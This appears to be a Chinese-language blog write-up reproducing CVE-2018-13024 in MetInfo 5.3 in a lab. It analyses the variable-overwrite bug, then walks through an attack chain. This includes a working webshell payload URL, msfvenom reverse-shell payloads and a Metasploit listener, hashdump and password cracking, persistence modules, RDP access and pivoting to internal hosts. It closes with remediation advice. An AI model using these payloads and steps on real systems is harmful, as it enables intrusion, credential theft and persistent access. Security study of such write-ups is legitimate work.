CVE-2018-13024

 · 2019-12-17 · 次阅读


1 引言

1.1 漏洞背景

MetInfo是中国米拓信息技术有限公司的一套使用PHP和Mysql开发的内容管理系统(CMS)。而Metinfo 6.0.0以及Metlnfo5.3.x版本中存在安全漏洞。远程攻击者在登陆进admin后台后,可通过向admin/column/save.php文件发送‘module’参数利用该漏洞向某个路径下写入代码并让其执行。 exp:该漏洞是metinfo5.3版本下的一个任意变量覆盖导致的任意文件上传,因而可以上传我们的一句话木马,并用蚁剑进行连接,在获取到了webshell的情况下,我们再对其进行简单的域信息收集,路由信息收集,然后对其进行简单的内网渗透。 影响版本:Metlnfo5.3.x&&Metlnfo6.0.0

2 复现环境、工具及其简介

2.1 复现使用环境、工具

攻击机:windows10,kali 靶机: windows 2003 Enterprise Edition 使用工具:win10上的蚁剑、Seay源代码审计系统、火狐浏览器,kali上的metasploit的msf5(meterpreter模块)

2.2工具简介

2.2.1 蚁剑简介

中国蚁剑是一款开源的跨平台网站管理工具,它主要面向于合法授 权的渗透测试安全人员以及进行常规操作的网站管理员。是一款非常优秀的webshell管理工具。蚁剑主界面如图2-1所示: ![](https://raw.githubusercontent.com/bephplover/bephplover.github.io/master/img/SRC/2.png) 图2-1蚁剑界面 蚁剑的命令行功能如图2-2所示: ![](https://raw.githubusercontent.com/bephplover/bephplover.github.io/master/img/SRC/3.png) 图2-2蚁剑命令行 蚁剑的核心功能有以下几种: a.Shell代理功能 b.Shell管理 c.文件管理 d.虚拟终端 e.数据库管理 f.插件市场 g.插件开发 其中开发版本针对有一定编程基础的开发者,你可以根据阅读文档或者分析源码了解熟悉整个应用的执行流程,然后便可随意对代码进行修改增强个性化自定义,真正打造出属于自己的一把宝剑。

2.2.3 Seay源码审计系统简介

Seay源码审计系统是尹毅基于C#语言开发的一款针对PHP代码安全性审计的系统,主要运行于Windows系统上。这款软件能够发现SQL注入、代码执行、命令执行、文件包含、文件上传、绕过转义防护、拒绝服务、XSS跨站、信息泄露、任意URL跳转等漏洞,基本上覆盖常见PHP漏洞。另外,在功能上,它支持一键审计、代码调试、函数定位、插件扩展、自定义规则配置、代码高亮、编码调试转换、数据库执行监控等数十项强大功能。

Seay源码审计系统界面如图2-3所示:

图2-3Seay源码审计界面

2.2.3 MSF5简介

3 漏洞分析

## 3.1 漏洞原理 ## 该漏洞主要发生在metinfo5.3的\admin\column\save.php的 column_copyconfig函数.这里我们使用Seay源代码审计系统对代码进行审计,首先打开metinfo5.3作为项目,然后打开column下的save.php找到这个函数如示:column_copyconfig($foldername,$module,$id); 我们对函数进行定位,这个原函数在\admin\column\global.func.php中,在这个函数中又调用了Copyindx函数如下所示:
Copyindx(ROOTPATH.$foldername.'/index.php',$module);

再次定位该函数,这次在\admin\include\global.func.php中找到了该函数:
php
function Copyindx($newindx,$type){
if(!file_exists($newindx)){
$oldcont =”“;
$fp = fopen($newindx,w);
fputs($fp, $oldcont);
fclose($fp);
}
}

可以看到该函数会复制一个index.php文件到调用它的地方,这里如果oldcont函数中的变量可控,然后再让该函数调用的话,那么就可以进行任意文件的写入,我们可以直接写入一句话木马。接下来对其中的变量进行探讨:
$fmodule=$type;最重要的就是这两个变量,其中$type是函数传入的,我们再看一下之前的column下的column_copyconfig文件中调用Copyindx使用的变量$module,因而只要改变$module变量的值,就可以导致我们写入想要的内容并在自己想要的路径下生成index.php.
这里通过查询Metinfo的漏洞会发现它有一个经典的伪全局变量覆盖,在metinfo5.3\admin\include\common.inc.php中

foreach(array('_COOKIE', '_POST', '_GET') as $_request) {
    foreach($$_request as $_key => $_value) {
        $_key{0} != '_' && $$_key = daddslashes($_value,0,0,1);
        $_M['form'][$_key]=daddslashes($_value,0,0,1);
    }
}

这里我们可以直接传入get参数,覆盖掉$module变量,将其变为一句话内容。
payload构造:

Payload:admin/column/save.php?name=123&action=editor&foldername=upload&module=22;@eval($_POST[a]);/*

3.2 漏洞危害
由以上原理就可知道,通过该漏洞可以进行任意文件的上传,可以通过脚本无限上传占内存文件让其服务器崩溃,还可以上传一句话木马文件对其服务器下的文件进行管理,还可以上传其他木马文件对Tomcat服务器造成毁灭性的打击等等。

4 漏洞复现

4.1 漏洞的环境搭建

4.2 漏洞的复现步骤

4.2.1 getwebshell

首先我们通过其IP地址访问到该网站为如图4-1所示: ![](https://raw.githubusercontent.com/bephplover/bephplover.github.io/master/img/SRC/5.png) 图4-1靶机网站首页

首先对网站进行信息收集,往下翻会看到该网站采用的系统为如图4-2所示:

图4-2
由此可以知道该网站的版本是Metinfo5.3.15版本,上网查一波资料,就会发现该版本存在着CVE-2018-13024的漏洞。也就是本次需要复现的漏洞。然后我们在本机同样装一个Metinfo5.3.15然后对其进行代码审计,分析其漏洞成因。

通过漏洞说明我们可以知道该漏洞主要发生\admin\column\save.php的column_copyconfig函数。于是我们在本地使用Seay源代码审计系统对代码进行审计,首先打开metinfo5.3作为项目,然后打开column下的save.php找到这个函数为: column_copyconfig($foldername,$module,$id);
我们对函数进行定位,这个原函数在\admin\column\global.func.php中,在这个函数中又调用了Copyindx函数:
Copyindx(ROOTPATH.$foldername.’/index.php’,$module);
再次定位该函数,这次在\admin\include\global.func.php中找到了该函数如图4-3所示:

图4-3Coypindx函数位置
可以看到该函数会复制一个index.php文件到调用它的地方,这里如果Copyindx函数中的变量可控,然后再让该函数调用的话,那么就可以进行index.php文件的写入,我们可以直接写入一句话木马。接下来对其中的变量进行探讨:
$fmodule=$type;最重要的就是这两个变量,其中$type是函数传入的,我们再看一下之前的column下的column_copyconfig文件中调用Copyindx使用的变量$module,因而只要改变$module变量的值,就可以导致我们写入想要的内容并在自己想要的路径下生成index.php.

这里通过查询Metinfo的漏洞会发现它有一个经典的伪全局变量覆盖,在metinfo5.3\admin\include\common.inc.php中,如图4-4所示:

图4-4经典变量覆盖漏洞代码
这里我们可以直接传入get参数,覆盖掉$module变量,将其变为一句话木马,因而需要在之前提到的save.php下构造d如下payload的:
Payload:admin/column/save.php?name=123&action=editor&foldername=upload&module=22;@eval($_POST[a]);/*这里需要注意一下post里面写的a而不是’a’,这是因为这个变量覆盖模块对传入的变量进行了daddslashes处理,所有传入的引号都会加上\进行转义,这样会导致一句话连接不上,并且该文件写入只能写入一次,一旦出错,就写入不了任何文件了,因而,必须在本地构造好。

Notice:这个漏洞必须在admin权限下才可以执行,因而第一步应当登入admin后台,这里由于复现主要内容是对于内网渗透的简单学习,故之前的webshell粗糙一点,进行弱口令爆破admin,登录admin后台。
在payload输入后,使用蚁剑进行连接,这里我们传入的foldername即为路径,故shell在upload下的index.php

蚁剑连接配置如图4-5所示:

图4-5蚁剑连接配置
蚁剑连接成功后如图4-6所示:

图4-6蚁剑连接成功

5后渗透

5.1 使用蚁剑进行域信息收集

这里我个人觉得直接使用蚁剑的命令行即可获取大量的域信息,例如路由信息等。首先使用whoami以及net user查看当前用户以及权限如图5-1所示:

图5-1蚁剑收集信息
这里可以看到已经是Admin权限了,不用提权了
使用netstat -ano查看开放的端口如图5-2所示:

图5-2查看开放的端口
这里的域信息收集可以直接使用这些命令,当然使用msf下的命令能收集到更多内容,于是我们使用msf生成一个后门文件。

msfvenom -p windows/meterpreter/reverse_https lhost=175.24.19.33 port=4444 -f exe -o /tmp/hack.exe

5.2 msf后渗透
首先应传一个后门到目标机,msf生成后门的命令为:msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.1. lport=4444 -f exe -o /tmp/hack.exe这样就会在tmp下生成一个后门hack.exe,如图5-4所示:

图5-4在kali/tmp下生成后门hack.exe
然后需要让kali进行监听状态,需要进行如下设置:

00msfconsole  //打开msf
use exploit/multi/handler //使用监听模块
#以下为设置监听信息
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.1.161
set lport 4444
run

然后便可以看到kali进入了监听状态如图5-5所示:

图5-5MSF下监听中的kali

然后把hack.exe移动到win10上用蚁剑上传文件给目标机,如图5-6:

图5-6上传hack.exe

然后在蚁剑上打开终端运行hack.exe即可收到监听信息如下图5-7所示:

图5-7收到监听

接下来可以使用meterpreter模块进行域信息收集使用域下常见信息收集命令进行信息收集如getuid,sysinfo,ipconfig等等,如图5-8所示:

图5-8meterpreter信息收集

接下来使用ps查看进程,然后迁移进程。迁移进程的目的是让我们的连接处于一个安全的状态下,以防止被杀,并且迁移进程有助于之后破解密码的实现。我们先尝试不迁移进程试着抓取密码hash值如图5-9所示:

图5-9不迁移进程hashdump
接下来将我们的hack.exe迁移到一个系统安全进程中,如下图5-10所示:

图5-10迁移进程
接下来再次尝试hashdump,如图5-11所示:

图5-11再次尝试hashdump
上图5-11中红圈部分即为,管理员的密码hash值,我们去在线网站进行破解如图5-12所示:

图5-12破解hash
在成功破解hash后,我们先将我们的权限进行维持,以防之后连接掉线.
5.3 权限维持
权限维持的原理很简单,就是给目标机开了一个服务 操作的话,使用的是Metasploit的Metsvc模块:rum metsvc,使用-h可以查看帮助,这里直接使用 -A,如图5-13所示:

图5-13权限维持
我们去靶机看下效果,其实就是给靶机开了个meterpreter服务,如图5-14所示:

图5-14靶机验证
接下来我们尝试断开连接,并使用exploit/multi/handler模块,payload设置为windows/metsvc_bind_tcp,设置目标ip和绑定端口31337,发现直接可以重新连接了,权限维持成功.
这里还可以使用Persistence模块,使用命令:run persistence -U -i 20 -p 5555 -r xx.xx.xx.xx
其中-U代表后门在用户登录后自启动,该方式会在HKCU\Software\Microsoft\Windows\CurrentVersion\Run下添加注册表信息。
其中-i代表设置反向连接间隔时间,单位S。-p代表设置反向连接的端口号。-r代表设置反向连接的ip地址。这里就不再进行验证了。接下来尝试对其内网系统内的其他机器进行渗透。

6 内网渗透

6.1 远程连接靶机

在之前的查询信息ipconfig时,我们发现这台主机有两个网卡,如图6-1所示: ![](https://raw.githubusercontent.com/bephplover/bephplover.github.io/master/img/SRC/24.png) 图6-1ipconfig查询到有两张网卡 其中一个是我们可以直接访问到的IP即为Metinfo网站,另外一个属于其内网我们访问不到,于是我想到了使用远程连接上靶机的方式,在靶机上对其内网里的其他机器进行渗透。 我们使用如下命令将其3389端口打开,然后使用本地的远程连接工具,进行连接,结合前面破解到的用户名: Administrator密码xf123456.进行连接: 远程连接成功后如图6-2所示: ![](https://raw.githubusercontent.com/bephplover/bephplover.github.io/master/img/SRC/25.png) 图6-2远程连接靶机成功 接下来我们在靶机上对其内网中的机器进行内网渗透。 ## 6.2在靶机上进行内网渗透 ## 使用meterpreter的arp命令查到靶机中的内网IP,通过之前的远程连接,我们在靶机上使用浏览器访问它的内网机IP在靶机上访问它的内网机,会发现存在有phpmyAdmin目录,那么我们可以利用phpmyadmin的漏洞写入一句话木马得到webshell,使用靶机连上内网机那么再把hack.exe传给内网机,再用kali监听,同样内网渗透就成功了。

7 漏洞的修复与防范

通过对原理的分析,得出了以下3种防范与修复漏洞的方法如下所示:
1.首先这个漏洞是出现在metinfo的固定版本内,因而可以直接更新到最新版本来解决这个漏洞。
2.管理后台应当隐藏起来,并且管理员尽量不要使用默认的用户admin,以及使用弱密码,最好在登录验证中自行添加上验证码进行验证,降低黑客入侵的几率。
3.其内网的机器不应当有如此简单而又明显的phpadmin漏洞,至少应当将其隐藏,或者更新到最新版本来解决这个问题。

本文参考文章:https://www.freebuf.com/news/193748.html